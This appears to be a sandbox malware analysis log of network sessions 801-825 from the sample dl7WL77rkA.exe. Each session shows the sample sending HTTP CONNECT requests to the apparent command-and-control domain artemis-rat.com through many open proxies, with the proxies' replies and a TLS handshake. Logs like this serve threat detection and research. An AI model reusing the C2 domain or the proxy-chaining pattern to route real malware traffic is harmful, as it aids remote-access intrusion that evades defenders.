Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.5	52258	38.162.3.109	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.697005987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.166714907 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.5	52229	147.75.34.85	10011	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.708674908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.009274960 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.5	52204	3.37.125.76	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.708739996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.029081106 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:40 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.5	52171	118.69.233.165	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709196091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.592356920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.266571045 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.5	52180	45.11.95.165	5038	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709295988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.5	49883	148.66.130.53	23998	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709391117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.904828072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.5	49971	158.51.210.75	7777	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709460974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.5	51683	51.222.241.157	51718	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709461927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.904815912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905422926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.999305010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.5	52172	138.36.150.26	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709570885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.5	52234	95.140.124.161	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.709671021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.5	52280	107.180.88.173	44568	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.711736917 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.5	51589	163.172.147.89	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.711738110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.904849052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.905471087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.999325037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.5	52158	171.103.58.122	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.711910963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.129942894 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.5	52382	137.184.142.37	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.713485956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.5	52286	146.19.106.217	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.713773966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.5	51610	161.156.199.78	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.720222950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.751326084 CET	75	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache/2.4.6 (CentOS)
Mar 11, 2024 03:30:44.790312052 CET	369	OUT	Data Raw: 16 03 03 01 6c 01 00 01 68 03 03 65 ee 6c d3 b7 0a 76 65 c0 91 73 c7 60 b3 23 6e a9 3c 7a 03 16 df 8b eb 24 ad 9e ff cd af 38 7f 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: lhelves`#n<z$8*,+0/$#('=<5/artemis-rat.com#7Y%>$qFBvmFmn7;O#^; qPHyWi(IR
Mar 11, 2024 03:30:45.095158100 CET	536	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ee 6c d4 53 d5 bc fd 33 6e d0 bd 0d 38 4f 81 12 53 11 d8 9d 7e 77 44 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 6b 0b 00 10 67 00 Data Ascii: C?elS3n8OS~wDDOWNGRD/#kgde0a0I?LR0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240214225240Z240514225239Z010
Mar 11, 2024 03:30:45.095246077 CET	536	IN	Data Raw: c6 05 92 78 e0 4f 78 0a d2 60 c4 1d 4d 2f 50 10 83 ed 02 03 01 00 01 a3 82 02 75 30 82 02 71 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 a0 30 13 06 03 55 1d 25 04 0c 30 0a 06 08 2b 06 01 05 05 07 03 01 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 Data Ascii: xOx`M/Pu0q0U0U%0+0U00U<IXM%A'CF20U#0n+_+0x+l0j05+0)http://ocsp.pki.goog/s/gts1p5/4mHaPTRzkCs01+0%http://pki.g
Mar 11, 2024 03:30:45.095257998 CET	536	IN	Data Raw: 00 76 00 da b6 bf 6b 3f b5 b6 22 9f 9b c2 bb 5c 6b e8 70 91 71 6c bb 51 84 85 34 bd a4 3d 30 48 d7 fb ab 00 00 01 8d aa 09 6c 5a 00 00 04 03 00 47 30 45 02 20 14 4e 3d 50 55 e8 cc 24 1d 57 8b ac c0 53 a0 61 43 18 61 8b d3 67 2d ed cd aa b3 4e 5c Data Ascii: vk?"\kpqlQ4=0HlZG0E N=PU$WSaCag-N\:b!ixanr9,1rtlY0*HR5zo_$F\|QNc4+G@]LiY%}+]24'-6TsnqM}oVM)k+T/
Mar 11, 2024 03:30:45.095341921 CET	536	IN	Data Raw: 30 39 33 30 30 30 30 30 34 32 5a 30 46 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 22 30 20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 13 30 11 06 03 55 04 03 13 0a 47 54 53 20 43 41 20 31 50 Data Ascii: 0930000042Z0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50"0*H0$-D[>eO-XZ(juORUJ[H6%#_`e\:\m}0N<etxs1to
Mar 11, 2024 03:30:45.095437050 CET	536	IN	Data Raw: 2b 06 01 05 05 07 30 01 86 1a 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f 67 74 73 72 31 30 30 06 08 2b 06 01 05 05 07 30 02 86 24 68 74 74 70 3a 2f 2f 70 6b 69 2e 67 6f 6f 67 2f 72 65 70 6f 2f 63 65 72 74 73 2f 67 74 73 72 31 Data Ascii: +0http://ocsp.pki.goog/gtsr100+0$http://pki.goog/repo/certs/gtsr1.der04U-0+0)'%#http://crl.pki.goog/gtsr1/gtsr1.crl0MU F0D08+y00(+https://pki.goog/repository/0g0Hlc'
Mar 11, 2024 03:30:45.095449924 CET	536	IN	Data Raw: 08 0f 09 3e 23 5a c7 e3 42 2d 7a 36 e4 3d 98 96 60 39 98 ea d1 db 63 2a eb 78 09 b1 4e 21 b3 8e b7 ce 3e 92 f1 95 5c a4 39 d0 c0 2b c8 53 15 f5 d2 2f 82 cd 06 74 67 99 90 77 37 0a 97 2d c5 1c 1e f4 d0 5b e9 15 e3 ea 02 09 c8 13 d7 13 70 65 bf fb Data Ascii: >#ZB-z6=`9cxN!>\9+S/tgw7-[peZ%wjNuMjfynm"m,P5}pYj%[ @4 awHI)adcGF9sO+Xe Uon=zcmf0b0Jwl6!
Mar 11, 2024 03:30:45.095556974 CET	536	IN	Data Raw: f6 b1 f9 ce 84 1d b1 f9 c5 97 de ef b9 f2 a3 e9 bc 12 89 5e a7 aa 52 ab f8 23 27 cb a4 b1 9c 63 db d7 99 7e f0 0a 5e eb 68 a6 f4 c6 5a 47 0d 4d 10 33 e3 4e b1 13 a3 c8 18 6c 4b ec fc 09 90 df 9d 64 29 25 23 07 a1 b4 d2 3d 2e 60 e0 cf d2 09 87 bb Data Ascii: ^R#'c~^hZGM3NlKd)%#=.`HMzY1.ml~&E=y(&<hS:+z.uVdOh=@\5lPL 3R2)%*Hrd8fcx{\wv
Mar 11, 2024 03:30:45.095568895 CET	536	IN	Data Raw: 66 2c ef f0 89 13 71 3e 30 1f 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 Data Ascii: f,q>0U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+
Mar 11, 2024 03:30:45.095706940 CET	306	IN	Data Raw: 28 03 00 1d 20 8b 8b 3e 9d 35 4c 33 71 ec 22 a0 23 80 55 51 14 51 b1 ad f9 24 86 d8 2f 5d 0a 1a 92 57 c1 1c 32 08 04 01 00 09 3b 59 74 cc c3 da dc 96 95 97 ff 52 fe 0e d6 cb de 6c 00 85 3e 5a 3a 24 b2 8d f4 b1 04 7c 84 74 c1 07 9a ac 8a 3b 60 85 Data Ascii: ( >5L3q"#UQQ$/]W2;YtRl>Z:$\|t;`6-^AJ$dWg&dastRI[hnTr-w+&I*+<WAXKl"_/DsU<z@@%.r.l+&U>TM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.5	51781	72.167.222.113	12581	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.725864887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.811336040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.811523914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.905200005 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.5	52341	104.20.24.214	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.753374100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.907713890 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.5	52350	203.30.190.172	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.758878946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.913419962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.5	50203	103.76.12.58	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.768424988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.141925097 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.5	52265	188.166.17.18	8881	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.768624067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.067239046 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.5	52357	104.16.106.65	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.768748045 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.923418999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.5	52212	103.231.45.145	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.770332098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.5	52363	104.23.125.117	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:40.770795107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.925318003 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:40 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.5	52268	38.242.251.177	48586	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
